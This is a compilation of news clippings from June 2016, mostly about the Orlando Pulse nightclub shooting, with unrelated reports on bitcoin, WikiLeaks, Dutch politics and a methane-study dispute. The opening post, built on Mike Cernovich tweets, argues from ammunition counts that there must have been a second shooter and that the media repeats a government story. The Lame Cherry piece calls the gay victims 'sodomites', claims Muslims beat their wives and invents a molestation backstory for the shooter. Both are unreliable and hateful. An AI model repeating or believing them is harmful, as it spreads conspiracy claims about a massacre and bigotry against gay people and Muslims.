Even at closed quarters, it takes several rounds to kill a person. People are terrible shots. People who are full of adrenaline and have been running are also terrible shots. Witness interviews also indicate that Mateen shot into the ceiling.
How many rounds of ammo did Mateen have, and would that number be enough to take out over 100 people?
To prove this to be true, here is what we would need:
Firearms used (currently rumored to be an AR-15, plus a ''handgun'')Each magazine usedCasualty count (total dead and wounded)Ballistic report from each victim (how many rounds are in each victim)Pictures of entire structure with bullet holes countedThe firearms used and expended magazines would tell us how many bullets were fired into Pulse and the victims. We would also need to match the ballistic reports to the firearm used to ensure that no other firearm (and thus shooter) was responsible for the deaths of the victims.
@Cernovich Don't forget ballistic report from each victim must match one of the two guns shooter used
'-- Alex Graham (@Mr_Alex_Graham) June 13, 2016
Why isn't the media even asking for this basic evidence?We'd need a count of all bullets found in Pulse to apply some math. Why? Let's reason this out.
Assuming the shooter had tactical training, he'd be carrying a load bearing vest with 8 fully loaded 30 round magazines, for a total of 9 magazines (one on his weapon). That's 270 rounds.
Mateen would also have a fully-loaded pistol with an unknown number of magazines. Let's assume he was using a 9mm handgun, which holds a 15 round magazine, and that he was carrying 4 additional magazines. That's 75 rounds of 9mm ammo.
In total, Mateen would have had 345 rounds of ammunition.
If you think 345 rounds of ammo is a lot, talk to some soldiers. People are hard to kill.
Also watch this video. You can hear 30 rounds go off in a matter of seconds. Yet somehow the shooter was killing people for 3 hours?
Snapchat video: Multiple gunshots heard at #Pulse nightclub in #Orlando. Details coming: https://t.co/o7XrMw10mxpic.twitter.com/JltzSCShLS
'-- WESH 2 News (@WESH) June 12, 2016
Talk to any soldier. Even at close ranges, that is not much ammo. According to the official story, Mateen averaged 3.45 rounds per casualty. That short of sheer killing power would make him the envy of even trained special operations soldiers.
If Mateen had over 345 rounds of ammo, where was he holding it?
Some other questions and objections to consider..@AnthonyCumia The math on ammo needed to kill 50 and maim 53 does not add up, it would be thousands of rounds. That's 60-80 pounds of ammo.
'-- Mike Cernovich (@Cernovich) June 13, 2016
"But it was in close quarters!" This means people are RUNNING. Harder for one person to hit. If you've had training, this does NOT add up.
'-- Mike Cernovich (@Cernovich) June 13, 2016
Right. Once shots are fired, It's panic. People are running. Makes it hard to hit targets. https://t.co/ZRsJYMdTbU
'-- Mike Cernovich (@Cernovich) June 13, 2016
Grab an AR-15, put on a vest with 8 fully loaded magazines. Run 100 meters. Then see how accurate you are, even at close quarters.
'-- Mike Cernovich (@Cernovich) June 13, 2016
Multiple witness reported seeing multiple shooters.Eye witness accounts are of course suspect, and we must be aware of hoaxes. Yet the media isn't even asking questions or doing research.
"Shooter called someone else and mentioned he was the fourth shooter." Watch interview below. https://t.co/SPLWh9kBWG
'-- Mike Cernovich (@Cernovich) June 13, 2016
Witness: Orlando shooter askedclub goers their race, said U.S.needs to "stop bombing ISIS"#PrayForOrlandohttps://t.co/kE09dV6gIK
'-- AlwaysActions (@AlwaysActions) June 13, 2016
@Cernovich IIRC on the radio last night I heard references to multiple shooters a few times. Is there a way to D/L that audio?
'-- Jester (@neoDesertFox) June 13, 2016
''I heard gunfire coming from two directions.'' '' EyewitnessOne eye witness told a reporter:
''When I dropped to the floor and saw people crying and covered in blood. The scent of the ammunition and bullets, I was like 'This is real life. This is happening right now.'''
He said he never saw the gunman, who was in an adjacent room about 20 feet away. He said he thought the initial burst of gunfire lasted eight or nine minutes.
''He kept on shooting and shooting and shooting, rapid fire,'' Gonzalez said, ''and he'd change (clips), put in more ammunition '-- bud-dudda. I could smell the ammo in the air.''
He said he heard another gun from a different direction, so he wonders if there were two gunmen.
Why would the government and media lie?This is "journalism." Gov't tells "journalists" a story. They repeat it. If you believe any thought or analysis is going on, you're wrong.
'-- Mike Cernovich (@Cernovich) June 13, 2016
You think taht the media asks questions. My friends, they don't even know the questions to ask. Most "journalists" have never fired a gun.
'-- Mike Cernovich (@Cernovich) June 13, 2016
There is more to the story than the media is reporting.As a lawyer I am taught to NOT trust the government. Everyone else in media simply repeats what they are told. I think for myself.
'-- Mike Cernovich (@Cernovich) June 13, 2016
Remember that ''journalists'' hate guns.
Simply read my analysis, above.
Why isn't the media asking about the tactical gear Omar S. Mateen was using?
They don't even know what questions to ask, and all anyone is doing is repeating what the government has told them.
As you follow the story, look for this evidence. If we don't see all of this, then there was a second shooter.
Firearms used Each magazine usedCasualty countBallistic report from each victimPictures of entire structure with bullet holes countedAgain, why isn't the media even asking to see this evidence? Why is every story merely repeating the official story?
Think for yourselves.
Army Rangers, Navy SEALS spend hundreds of hours drilling before doing a raid. But some nobody ran a solo op and took out over 100? *Think*
'-- Mike Cernovich (@Cernovich) June 13, 2016
If you think this is crazy, you should read Gorilla Mindset.
The final moments of the Orlando nightclub massacre | New York Post
Tue, 14 Jun 2016 00:40
An aerial view of Pulse nightclub in Orlando, Florida, after the deadly rampage.Photo: Splash News
Police forensic investigators work at the crime scene at Pulse.Photo: Reuters
Friends and family members embrace outside Orlando police headquarters after the Pulse nightclub mass shooting.Photo: Reuters
Friends and family members embrace outside Orlando police headquarters after the Pulse mass shooting.Photo: Reuters
Police cars surround the Pulse nightclub.Photo: AP
Family members wait for word from police after arriving down the street from a shooting involving multiple fatalities at Pulse nightclub on June 12.Photo: AP
Up NextISIS radio: Nightclub shooter is soldier of 'caliphate in America':0BEIRUT '-- The Islamic State's radio has called the Orlando...
Omar Mateen's terror rampage came to an end when he came through a hole that police punched into walls of the a nightclub, shooting at officers who returned fire and killed him, authorities said Monday as more details emerged about the deadliest mass shooting in US history.
Orlando Chief of Police John Mina said cops exchanged gunfire with Mateen, 29, three times early Sunday morning.
The carnage began at about 2 a.m. when Mateen first entered Pulse and opened fire, drawing return shots from an off-duty, uniformed Orlando cop working security, Mina said.
Reinforcements rushed to Pulse and also fired on Mateen, who then retreated to a bathroom, Mina added.
''He (the first officer) responded to shots fired. He did engage in the gun battle with the suspect somewhere near one of the entrances,'' Mina recounted.
''Shortly after that, additional officers responded and those additional officers made entry while the suspect was shooting, and engaged in another gun battle with the suspect, forced him to stop shooting and retreat to the bathroom, where we believe he had several hostages.''
Suspected gay nightclub mass shooter Omar MateenPhoto:Mateen was holed up in a restroom in the club, with four or five hostages, as another 15 to 20 people hid in adjoining bathroom, authorities said.
With Mateen in the bathroom, Pulse patrons were able to flee for their lives early Sunday morning, officials said. In total, he killed 49 people.
''At that time we were able to save and rescue dozens and dozens of people who were injured and not injured and get them out of the club,'' Mina said. ''Things kind of stabilized.''
For about three hours, hostage negotiators spoke to Mateen, but he didn't have much to say, according to Mina.
''He was cool and calm when he was making those phone calls to us,'' Mina said. ''He really wasn't asking for a whole lot and we were doing most of the asking.''
''Our negotiators were talking with him,'' he added. ''And there were no shots at that time but there was talk about bomb vests and explosives. There was an allegiance to the Islamic State.''
At one point, Mina said police believed ''loss of life was imminent.''
''Based on statements made by the suspect about explosives, about possible bomb vests,'' Mina said he ordered officer to blow up club walls at about 5 a.m. on Sunday.''
The first explosives didn't fully penetrate club walls, so officers bulldozed through, opening a hole for hostages '' and the killer '' to come forward, cops said.
''The suspect came out of that hole himself armed with a handgun and a long gun and engaged in a gun battle with officers where he was ultimately killed,'' Mina said.
Orlando's top cop didn't discount the possibility that some of the 49 victims may have been killed by friendly fire.
''But I will say our SWAT officers, about eight or nine officers opened fire,'' Mina said. ''Their backdrop was a concrete wall and they were being fired upon so that's all part of the investigation.''
Meanwhile Monday, officials said they were unsure if anyone else will be charged in the massacre.
Officials have been collecting electronic and physical evidence as part of the ongoing investigation, US Attorney Lee Bentley said.
Mateen visited Saudi Arabia in 2011 and 2012, federal law enforcement sources told The Post, but it's unclear if those journeys contributed to his radicalization.
Seddique Mateen speaks about his son's deadly rampage:
Lame Cherry: Who molested Omar Mateen
Tue, 14 Jun 2016 00:00
As another Lame Cherry exclusive in matter anti matter.
The Lame Cherry is about to expose something which requires addressing in this hysteria over Omar Mateen and the mass shooting of sodomites.
In forensic psychology, one always breaks the psychology down to base factors. Base factors are why people do what they do. What moves a man from this:
PGA Village resident Eleanora Dorsi, however, recognized Mateen's face as a friendly one who guarded her gated community in western Port St. Lucie."Whenever I saw him, he was very polite," Dorsi said Sunday from her summer home in Connecticut. "He was always a gentleman."
To this:
A former Fort Pierce police officer who once worked with 29-year-old Omar Mateen, the assailant in an Orlando nightclub shooting that left at least 50 dead, said he was "unhinged and unstable."Daniel Gilroy said he worked the 7 a.m. to 3 p.m. shift with G4S Security at the south gate at PGA Village for several months in 2014-15. Mateen took over from him for a 3 to 11 p.m. shift.Gilroy, a former Fort Pierce police officer, said Mateen frequently made homophobic and racial comments. Gilroy said he complained to his employer several times but it did nothing because he was Muslim. Gilroy quit after he said Mateen began stalking him via multiple text messages '-- 20 or 30 a day. He also sent Gilroy 13 to 15 phone messages a day, he said."I quit because everything he said was toxic," Gilroy said Sunday, "and the company wouldn't do anything. This guy was unhinged and unstable. He talked of killing people."Gilroy said this shooting didn't come as a surprise to him.
There has to be a reason, and it has been placed before everyone, but the prejudices and biased hysteria get in the way.
We know that Omar Mateen triggered in marriage, toward Islam. He expected his wife to be a wife, and she refused to Muslim standards and he beat her, as Muslims do.
Something else happened though and it surfaced in the birth of his son. Omar's father stated the event, in sodomites were being sexual in public and in toilets, and this infuriated Omar Mateen.
Something connects his son, sodomy and displays of sodomy invading Mateen's boundaries.
As you have read the title, you know the answer to this, in Omar Mateen was molested as a child, by an adult Muslim male.
We can project this out forensically to realities of Mateen was reported as a bouncer at this club. We know from the above that he began stalking a co worker, who somehow Mateen had gotten his personal phone number from, and this male was homosexual.Indications are Mateen was questioning his sexuality. A bad marriage ending in failure made him question his manhood, and he was wondering if an event or series of exposures to homosexual molestation as a child, was what he was.
The conflict within was compounded by this Obama exposure or infliction of wholesale sodomization of America. The trigger in this was his son. It was sodomy in front of his son. Mateen had to strike against brown skinned sodomites as that is what he was molested by. Mateen had to attack to protect his son, and save face as a Muslim, a father and a man, he had to find a way for police state martyrdom or suicide, to make it honorable.
This is what the forensic psychology points to in a pedophile molestation of Omar Mateen. Prisons are filled with adults who have been molested as children, who vent that fury on the world. In prison, they murder every pedophile they can beat to death.
If you want to find the source of Orlando, it points to pedophiles not Islam. Islam simply provided the platform for the event.
Once again, another Lame Cherry exclusive in matter anti matter.
Orlando Shooter Was Reportedly a Regular at Pulse and Had a Profile on Gay Dating App
Mon, 13 Jun 2016 23:39
Early Sunday morning, Omar Mateen shot and killed 49 people at a gay nightclub in Orlando, perpetrating the deadliest mass shooting in U.S. history. Mateen, his father explained the next day, had repeatedly been angered by the sight of two men kissing. But according to witnesses, Mateen was also a regular at the club and exchanged messages with at least one gay man on a gay dating app.
''It's the same guy,'' Chris Callen, who performs under the name Kristina McLaughlin, told the Canadian Press. ''He's been going to this bar for at least three years.''
Ty Smith, who also goes by the name Aries, also said he'd seen Mateen being escorted drunk from the club, Pulse, on multiple occasions.
''(He'd get) really, really drunk... He couldn't drink when he was at home'--around his wife, or family. His father was really strict... He used to bitch about it,'' Smith told the Canadian Press.
''Sometimes he would go over in the corner and sit and drink by himself, and other times he would get so drunk he was loud and belligerent,'' Smith also explained to the Orlando Sentinel, which spoke with at least four clubgoers who remembered seeing Mateen at Pulse at least a dozen times. ''We didn't really talk to him a lot, but I remember him saying things about his dad at times... He told us he had a wife and child.''
Both Callen and Smith, who are married, tell the Canadian Press they stopped speaking to Mateen after he threatened them with a knife, apparently after someone made a joke about religion.
''He ended up pulling a knife,'' Callen said. ''He said if he ever messed with him again, you know how it'll turn out.''
Mateen, who was married in 2009, was abusive and unstable, his ex-wife says. They were married for just a few months before her parents rescued her from their home in Florida, leaving most of her belongings behind. It's still unclear if he was married again after their divorce was finalized in 2011.
MSNBC host Chris Hayes also says he spoke to a man who claims both he and a friend received messages from Mateen via a gay dating app. The full story is set to air tonight on Hayes' show, All In.
'Stockbroker to the stars' found dead in his apartment | Page Six
Mon, 13 Jun 2016 23:36
Disgraced ''stockbroker to the stars'' Dana Giacchetto has been found dead in his Manhattan apartment.
The former money manager, who was friends with Leonardo DiCaprio '-- who crashed for months at his vast Soho penthouse '-- and did business with Cameron Diaz, Michael Stipe, Ben Affleck, Michael Ovitz and Tobey Maguire before pleading guilty to securities fraud in 2001, was found dead by his roommate in his Upper West Side apartment Sunday morning.
Police confirmed he was found dead at his apartment on West 100th Street at noon on Sunday. He was 53. The cause of death has not been confirmed but police said he was found face up foaming at the mouth.
His death comes after a weekend of partying, and he was seen scuffling with security guards outside the DL nightclub on Delancey Street on Friday night.
We're told that Giachetto's estranged girlfriend, with whom he had two children, became worried when she couldn't get hold of him and started calling friends on Saturday night.
Giacchetto became famous in the late '90s with an incredible list of celebrity clients. But it all came crashing down after he pleaded guilty to fraud involving the misappropriation of up to $10 million of clients' money. He was sentenced in 2001 to 57 months in prison.
''I have no excuses!'' he said at his sentencing. ''I lived in a world of fantasy, but I am not this one-dimensional mendacious con.''
Then in 2014 he was hit with charges of wire fraud and access device fraud after allegedly making thousands of dollars of purchases on a New Jersey man's credit card.
Sources said Giacchetto had overdosed on drugs a week before his death and he was rushed to the hospital where he was given an adrenaline save shot.
One friend said, ''He had been been abusing pills and alcohol. He'd had different stints in the hospital recently.''
Another source said Giacchetto had got into a scuffle on Friday night with security guards outside the DL club on Delancey Street for the premiere party for the movie ''Legends of Freestyle.''
Steve Stanulis, who produced, directed and narrated the movie, confirmed Giacchetto had attended the premiere and party, and added, ''I am devastated, he was a dear friend.''
Bitcoin hits a 2-year high thanks to a big change in the code'...and China
Mon, 13 Jun 2016 22:47
The price of bitcoin has hit its highest level in more than two years due to a rule written in the cryptocurrency's code which could tighten its supply and as it becomes a safe-haven bet amid broader macroeconomic worries.
Bitcoin briefly broke the $700 barrier on Monday, the highest since February 2014. In the last month, the price of digital currency has risen over 51 percent.
An upcoming shift in the fundamental code governing the digital currency is said to be behind the spike. There is a finite supply of 21 million coins that will ever be released. Bitcoins are created by a process known as "mining". This involves people using computers to solve complex mathematical puzzles in order for a bitcoin transaction to go through. When this problem is solved, the miner is awarded with bitcoins.
But over the course of a bitcoin's life which began in 2008 as a white paper before coming into existence in 2009, these mathematical problems get harder. And the reward offered to miners is set to reduce sometime next month. At the beginning, the reward for mining was 50 bitcoin per "block" '' which is a group of transactions. It then fell to 25 bitcoins in 2012. It is now set to half again, thus reducing the supply growth of bitcoin. The process is known as "halving" and was written in the original code for bitcoin.
With fewer bitcoin coming into the system, the price has risen with increased trading activity.
"We are seeing very high trading volumes," Bobby Lee, chief executive of BTCC, one of the largest bitcoin exchanges in the world based in China, told CNBC by phone on Monday.
"The block halving will dramatically decrease the bitcoin being added as we approach 75 percent of all bitcoin issued. People understand that in this world of ever expanding assets and printing of money, we have something that's fixed and limited in issuance. It gives a decent alternative for people who want to hold assets that can have sustained purchasing power."
Bitcoin has typically been a very volatile currency and the price has even surged to over $1,216 in 2013. But the cryptocurrency has been gaining more legitimacy with policymakers talking about its potential and the U.S. Commodity Futures Trading Commission last year classed it as a commodity.
At times, bitcoin has managed to act as a safe-haven asset. The digital currency found some support last year when Greece was close to default. Concerns over the health of the Chinese economy and the prospect of a further depreciation of the yuan have also helped support bitcoin, Lee said.
"It's kind of a mess worldwide in terms of economy and all different asset classes," Lee told CNBC.
Clarification: This article has been amended to reflect the date when bitcoin began trading.
WikiLeaks Is About to Ruin Hillary Clinton's Chances of Becoming President
Mon, 13 Jun 2016 22:35
WikiLeaks founder Julian Assange says his next leak will virtually guarantee an indictment of Hillary Clinton.
In a recent interview with ITV, Assange said the whistleblowing website will soon be leaking documents that will provide ''enough evidence'' for the Department of Justice to indict the presumptive Democratic nominee. WikiLeaks has already published 30,322 emails from Clinton's private email server, spanning from June 30, 2010 to August 12, 2014. While Assange didn't specify what exactly was in the emails, he did tell ITV that WikiLeaks had ''accumulated a lot of material about Hillary Clinton, which could proceed to an indictment.''
Assange hinted that the emails slated for publication contain additional information about the Clinton Foundation. He also reminded ITV's Robert Peston that previously released emails contained one damning piece of communication from Clinton, instructing a staffer to remove the classification settings from an official State Department communication and send it through a ''nonsecure'' channel. Assange then pointed out that the Obama administration has previously prosecuted numerous whistleblowers for violating the government's procedures for handling classified documents.
In regard to the ongoing FBI investigation, however, Assange expressed a lack of confidence in the Obama administration's Justice Department to indict the former Secretary of State.
''[Attorney General Loretta Lynch] is not going to indict Hillary Clinton. It's not possible that could happen. But the FBI could push for new concessions from the Clinton government in exchange for its lack of indictment.''
WikiLeaks has long been a thorn in the side of the former Secretary of State, who called on President Obama to prosecute the whistleblowing site after its 2010 leak of State Department cables. Julian Assange remains confined to the Ecuadorian Embassy in downtown London, as Ecuador has promised to not hand over the WikiLeaks founder to US authorities.
Tom Cahill is a writer for US Uncut based in the Pacific Northwest. He specializes in coverage of political, economic, and environmental news. You can contact him via email at [email protected]
Syrirs betalen voor weg terug | Telegraaf.nl
Mon, 13 Jun 2016 22:30
maandag 13 juni 2016, 20:11 (C) EPAVoor veel in Griekenland gestrande Syrirs is de Europese droom over en uit. Na maanden in de modder bij Idomeni aan de Macedonische grens willen ze weer naar huis.
Merkwaardig genoeg spelen mensensmokkelaars hier weer een rol. Eerst betaalden de Syrirs een paar duizend euro om in een rubberbootje overgezet te worden, de terugweg naar Turkije is aanmerkelijk goedkoper, enkele honderden euro's.
Die terugweg loopt echter niet via de Ege¯sche Zee, maar via het Griekse grensplaatsje Didimoticho, waar de rivier de Maritsa overgewaad moet worden naar het deel van Turkije dat westelijk van de Bosporus ligt. Door de vele regen staat het water echter hoog en is de stroming sterk waardoor al tientallen verdronken.
Onder degenen die terug willen is de 27-jarige kapper uit Damascus, Atia Al-Djassem. Na maanden aan de grens met Macedoni gekampeerd te hebben wil hij nu terug naar zijn vrouw en (C)(C)njarige dochter. 'žIk wil Europa niet meer,'' verklaart hij tegenover de Duitse krant Die Welt. 'žIn Syri gaat het beter dan hier, zelfs met de bombardementen.''
Sinds de Balkanroute op 20 maart jongstleden definitief werd gesloten, zitten er 57.000 vluchtelingen vast in Griekenland, waar de werkloosheid toch al 25% bedraagt. De weg naar het beloofde land Duitsland is afgesloten en in Griekenland willen ze niet blijven. 'žWe hadden niet verwacht dat we zo behandeld zouden worden, Europa toont helemaal geen medelijden met ons.''
Meer artikelen in Buitenland
There's no evidence that Google is manipulating searches to help Hillary Clinton - Vox
Mon, 13 Jun 2016 20:46
There's a video making the rounds purporting to show that Google is suppressing the phrase "Hillary Clinton crimes" from autocomplete results, thereby boosting Clinton's candidacy.
The video points out that if you type the phrase "Donald Trump rac," Google will suggest the word "racist" to complete the phrase. But if you type "Hillary Clinton cri," Google will suggest words like "crime reform" and "crisis" but not "crimes." This despite the fact that Google Trend results show that people search for "Hillary Clinton crimes" a lot more than "Hillary Clinton crime reform."
So what's going on here? The folks behind the video suggest that this reflects an unholy alliance between the Clinton campaign and Eric Schmidt, the former Google CEO and current chair of Google's parent company, Alphabet. But there's a simpler explanation:
Choose any famous American who has been accused of a serious crime and Google their name followed by the letters "cri," and in no case does Google suggest the word "crimes." That's true even of people like Kaczynski and Madoff, who are famousonlybecause they faced prosecution for serious crimes.
Apparently, Google has a policy of not suggesting that customers do searches on people's crimes. I have no inside knowledge of why it runs its search engine this way. Maybe Google is just uncomfortable with having an algorithm suggesting that people search for other people's crimes.
In any event, there's no evidence that this is specific to Hillary Clinton, and therefore no reason to think this is a conspiracy by Google to help Clinton win the election.
Disclosure: My brother works at Google.
Update: In some cases I showed searches for "cr" instead of "cri" above, but I checked "cri" in all cases. Here are the screenshots:
The general election tweet wars have begun
Environmental group alleges scientific fraud in disputed methane studies - Retraction Watch at Retraction Watch
Mon, 13 Jun 2016 20:41
Note: We are reprinting below an article originally published at InsideClimate News.
The inspector general of the U.S. Environmental Protection Agency has been asked to examine whether a significant recent study of greenhouse gas emissions from oil and gas fields was technically flawed'--and whether researchers brushed aside concerns that methane pollution was being understated.
The emission of methane, a much more potent greenhouse gas in the short term than carbon dioxide, has proven difficult to measure. The latest complaint is a volley in a long-running skirmish among academics, advocacy groups and regulators over how tightly methane should be regulated.
On Wednesday, a North Carolina environmental advocacy group, NC Warn, alleged that this dispute has risen to the level of fraud. The group petitioned Arthur A. Elkins Jr, the agency's inspector general. The IG is an independent watchdog office that resides within each federal agency.
NC Warn said that David Allen, a University of Texas engineering professor who led the industry-funded study, had ignored flaws in the study after they were pointed out by another expert, Touch(C) Howard. Howard had invented the technology behind one of the devices that Allen and colleagues used in their 2013 and 2014 studies. Soon after Allen's 2013 study came out, Howard alerted him of possible underreporting of methane emissions due to sensor malfunction.
''Our study team strongly asserts that the instrument we used and the measurements we made were not impacted by the claimed failure,'' Allensaid in a statement responding to the NC Warn allegations.
Allen was chairman of the EPA's outside science advisory board from 2012-15, at the time the two contested studies were published. The work was part of an extensive series of studies organized by the Environmental Defense Fund in collaboration with the oil and gas industry. EDF, one of the largest national green groups, has advocated for tougher regulations of methane emissions, a hotly debated climate policy issue. But it has also been criticized for working closely with the industry in conducting the studies.
NC Warn, an anti-fracking group that advocates a swift transition away from fossil fuels, wants the EPA to conduct a full investigation. It also wants any flawed studies to be withdrawn and the agency to revise any regulations based on flawed studies. The group says the agency should adopt a zero-emissions standard for oil and gas operations.
''What we are alleging is a cover-up, scientific fraud and possibly criminal misconduct by a high-ranking EPA official and perhaps others,'' said Jim Warren, executive director of NC Warn. ''Due to this cover-up, humanity has been robbed of several years during a critical period of the climate crisis where we should have been working cooperatively to greatly reduce emissions.''
Despite that strident claim, this technical debate has been fully aired in peer reviewed publications. Neither side has budged; so an inspector general's report might help resolve the technical questions, as well as settling whether there was any impropriety.
If the agency's IG chooses to conduct a formal investigation, it will bring the matter to the forefront of policy debates in Washington and beyond at a time when methane regulations are being put into place amid a great deal of technical and legal argument.
Knowing exactly how much methane is emitted by the oil and gas industry is of crucial importance for meeting the Paris climate agreement, said Bradley Campbell, president of the environmental advocacy group Conservation Law Foundation.
''Whatever the merits of the allegations in this case, it touches on a critical issue of both science and public policy,'' he said. ''This is the data that EPA is essentially relying on to regulate.''
Disputed Readings Spark Debate
Howard has been sparring with Allen over the technical merits of his study ever since it came out. His complaints focus on what he calls the improper calibration of the instrument Allen's team used to measure methane emissions.
Howard may be uniquely qualified to challenge Allen's results. In 1996, he patented the technology later used to create the Bacharach Hi-Flow Sampler that Allen used in his 2013 study and, to a lesser extent, his 2014 study. Working as a consultant for industry and government clients since 1988, Howard, who is based in North Carolina, has conducted measurement and training programs at more than 500 natural gas facilities in North America, Europe, and the former Soviet Union. He collaborated on a related EDF study looking at methane emissions from the oil and gas industry.
The 2013 study by Allen and colleagues was a survey of hundreds of hydraulically fractured natural gas wells. It was the first in an ambitious, ongoing series of 16 studies launched by EDF to determine how much methane the oil and gas industry is leaking or emitting. The findings, which have since been cited by the oil and gas industry, suggested that methane emissions from drilling sites were about 10 percent lower than previous EPA estimates.
Those results ran counter to findings of a number of studies published before and after that found the industry's methane emissions were higher than EPA estimates. Environmentalists criticized the Allen study because of industry backing and collaboration. Ninety percent of the study's $2.3 million in funding came from oil and gas operators, which also provided researchers access to well sites.
Warren, NC Warn's director, said that Allen and colleagues had no way of knowing in 2013 that their measuring device, a Bacharach Hi-Flow Sampler (BHFS), was underreporting methane emission rates.
Howard said he repeatedly raised concerns with Allen about the 2013 study, beginning soon after its publication. Howard, who was already investigating possible errors with the device, examined data from the 2013 study and quickly suspected the device was underreporting. NC Warn released emails between Howard and Allen discussing the issue.
Confronted with Howard's evidence that data from the device might be flawed, Warren said, Allen failed to acknowledge the problem and did not correct the data in his study.
''That study threw a lot of confusion in the air and continues to be relied on by the fossil fuel industry to argue that the problem is not so bad and the EPA should back off trying to curtail emissions even more,'' Warren said.
In March 2014, Howard and researchers from the University of Texas, tested one of the devices used by Allen and colleagues in their 2013 study. According to Howard, those tests showed the device was still underreporting emissions by a small amount.
At issue was the gas detector's automatic transition between two operating modes. One mode measures methane when concentrations are at or below 5 percent. The other mode measures concentrations above 5 percent. When concentrations exceeded 5 percent, the device can fail to initiate its second mode.
Errors during the March 2014 field test occurred even though new software developed to fix the problem had been added to the device after the 2013 study.
Allen and colleagues published a follow-up study in December 2014 using a BHFS and other sampling devices which, according to Howard, were also giving erroneous readings during the March 2014 field test. The study didn't mention the underreporting errors detected by Howard.
''He went ahead and published that data and did not disclose at all that tests had been run showing his instruments were far out of calibration,'' Howard said.
Howard challenged the Allen group's findings in March 2015 in the academic journal Environmental Science and Technology, where Allen's 2014 study was published.
Allen responded to each of Howard's concerns in the same edition of the journal.
Howard then published a pair of papers in peer-reviewed academic journals in late March and August 2015, describing how the device used by Allen in his 2013 paper underestimated methane emissions. Howard said the issues he raised still haven't been addressed, leading to the formal complaint with the EPA's inspector general.
''I've gone to Dr. Allen repeatedly and asked him to address these issues, and since they haven't been addressed, unfortunately, at this point, I think that is the only solution,'' Howard said in an interview.
Measurements from the disputed device were cross checked by an infrared camera, and downwind sampling by independent investigators, Allen said in a statement. Leaks are also often detected by operator observations by their noise and smell, Allen said.
''None of these parallel systems indicated a problem with our [Bacharach] HiFlow instrument,'' he said. ''All of these systems would have had to fail, simultaneously, and only at certain types of sites with the conditions that are claimed to produce the equipment failure, for our measurements to have been impacted.''
EDF Defends Allen's Work
According to Wednesday's filing, Allen had acknowledged potential concerns about underreporting of emissions.
In April 2016, Howard obtained a confidential letter from Allen to EDF's ''production committee,'' scientists from academia and industry who advise EDF on its methane studies, according to Wednesday's filing. The memo is undated, but according to the filing was sent sometime between July and October 2014. In it Allen acknowledged concerns about ''cross-over malfunction'' raised by ''some investigators.'' The memo then proceeds to provide a detailed explanation for why such malfunction ''was not a major cause of measurement error'' in Allen's 2013 study.
Howard said in an interview that the information in the memo was incorrect, and that Allen knew it.
EDF said issues raised in this week's petition had already been aired in academic journals and added that even if the BHFS did malfunction during the 2013 study, the potential inaccuracy was not that significant.
''Even if you assume the worse-case scenario for inaccuracy of the technique, it would have only changed the outcome of the [2013] UT [University of Texas] paper by about 12 to 24 percent,'' said Mark Brownstein, vice president of EDF's climate and energy program. ''If you extrapolated it to what it means for emissions from the total natural gas supply chain, it would change your assessment of emissions by about 2 to 5 percent.''
EDF is now working on a final analysis of methane emissions from across the oil and gas industry. When asked by InsideClimate News if they would still include Allen's 2013 study in that analysis given its potential inaccuracy, Brownstein said ''absolutely.''
''Touch(C) has raised some legitimate questions about how the [Bacharach] Hi-Flow meters would have worked in 2 of the 5 sources in which the technique was used, but the work that we are doing now to understand the totality of what the literature is telling us, I don't think is affected by this at all,'' Brownstein said.
The response from the EPA's office of the inspector general could range from declining to investigate the allegations to a full investigation with subpoena power. The IG has investigative powers and can refer criminal matters to the Justice Department. In 2014, the IG criticized the EPA for poor work on methane emissions. Early this year, the EPA revised upward its estimates of how much methane is being emitted.
Jennifer Kaplan, deputy assistant inspector general for congressional and public affairs, said she cannot comment on any complaint made to the inspector general's office.
Phil McKenna is a Boston-based reporter for InsideClimate News. Before joining ICN in 2016, he was a freelance writer covering energy and the environment for publications including The New York Times, Smithsonian, Audubon and WIRED. Uprising, a story he wrote about gas leaks under U.S. cities, won the AAAS Kavli Science Journalism Award and the 2014 NASW Science in Society Award. Phil has a master's degree in science writing from the Massachusetts Institute of Technology and was an Environmental Journalism Fellow at Middlebury College.
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Rutte: totaal, totaal, totaal tegen referenda | Telegraaf.nl
Mon, 13 Jun 2016 20:16
maandag 13 juni 2016, 11:20 '-- 2184 reacties (C) ANPPremier Mark Rutte is ,,totaal tegen referenda'' en al helemaal als die gaan over afspraken tussen meerdere landen. Dat zei de premier maandag tegen een Ridderzaal met parlementarirs van de EU-lidstaten over het Nederlandse referendum over het associatieverdrag met Oekra¯ne.
Rutte sprak over het Nederlandse EU-voorzitterschap dat op zijn einde loopt en beantwoordde vragen. De premier noemde de uitslag van het referendum ,,desastreus'' en zei dat hij ,,totaal, totaal, totaal tegen referenda over multilaterale overeenkomsten'' is.
Volgens Rutte ,,slaat het nergens op'' dat een land zo zijn wil oplegt aan de hele EU. Hij zei dat Nederland het referendum te danken heeft aan de ,,sociaaldemocraten'' van zijn ,,geliefde coalitiepartner'' de PvdA.
Of Nederland het verdrag gaat ratificeren, staat volgens Rutte nog niet vast, maar hij hoopt het wel. Het kabinet wil de uitslag van het raadgevende referendum over het verdrag tussen de EU en Oekra¯ne eind deze maand met de Europese staats- en regeringsleiders bespreken, liet hij vorige week al weten.
De uitspraken van Rutte leidden onmiddellijk tot reacties. Volgens Euroscepticus en initiatiefnemer van het referendum Thierry Baudet is Rutte ,,tegen democratie en voor meer Europa''. PVV-leider Geert Wilders twitterde: ,,PVV is wel v""r de stem van het volk en dus v""r referenda. Maar totaal, totaal, totaal tegen regenten zoals Rutte.''
Rutte sprak ook over het Nederlandse voorzitterschap dat eind juni eindigt. Volgens Rutte is tijdens de vluchtelingencrisis gebleken dat Europa het in korte tijd eens kan worden over een gezamenlijke aanpak van een groot probleem. Al blijft het nodig om aan de oplossing te werken.
Rutte wees erop dat na de afspraken met Turkije minder mensen de oversteek wagen van dat land naar EU-lidstaten. Hij wees er echter ook op dat er de afgelopen weken veel mensen zijn verdronken die vanuit Noord-Afrika zijn vertrokken naar Europa. ,,Deze crisis is nog niet over. Bij lange na niet'', aldus Rutte.
Reacties (2184):Peter op 13-6, 21:27Zijn er nu al genoeg mensen die de petitie voor een EU referendum hebben getekend? Dan duwen we Rutte nog even een referendum door de strot. Een heel belangrijk signaal dat wij A. Referenda willen en B. Uit de EU willen.
arie1954 op 13-6, 21:26Hij is meer van zachte dictatuur, veel beloven en vervolgens Lands Eer Beroven.
MICHA 4 op 13-6, 21:25Nou.. nou..Wie heeft er naar de mening van Rutte gevraagd?? Misschien heeft hij nog Bilderbergjes in zijn hoofd..!!
Meer artikelen in Binnenland
Foreign governments gave millions to foundation while Clinton was at State Dept. - The Washington Post
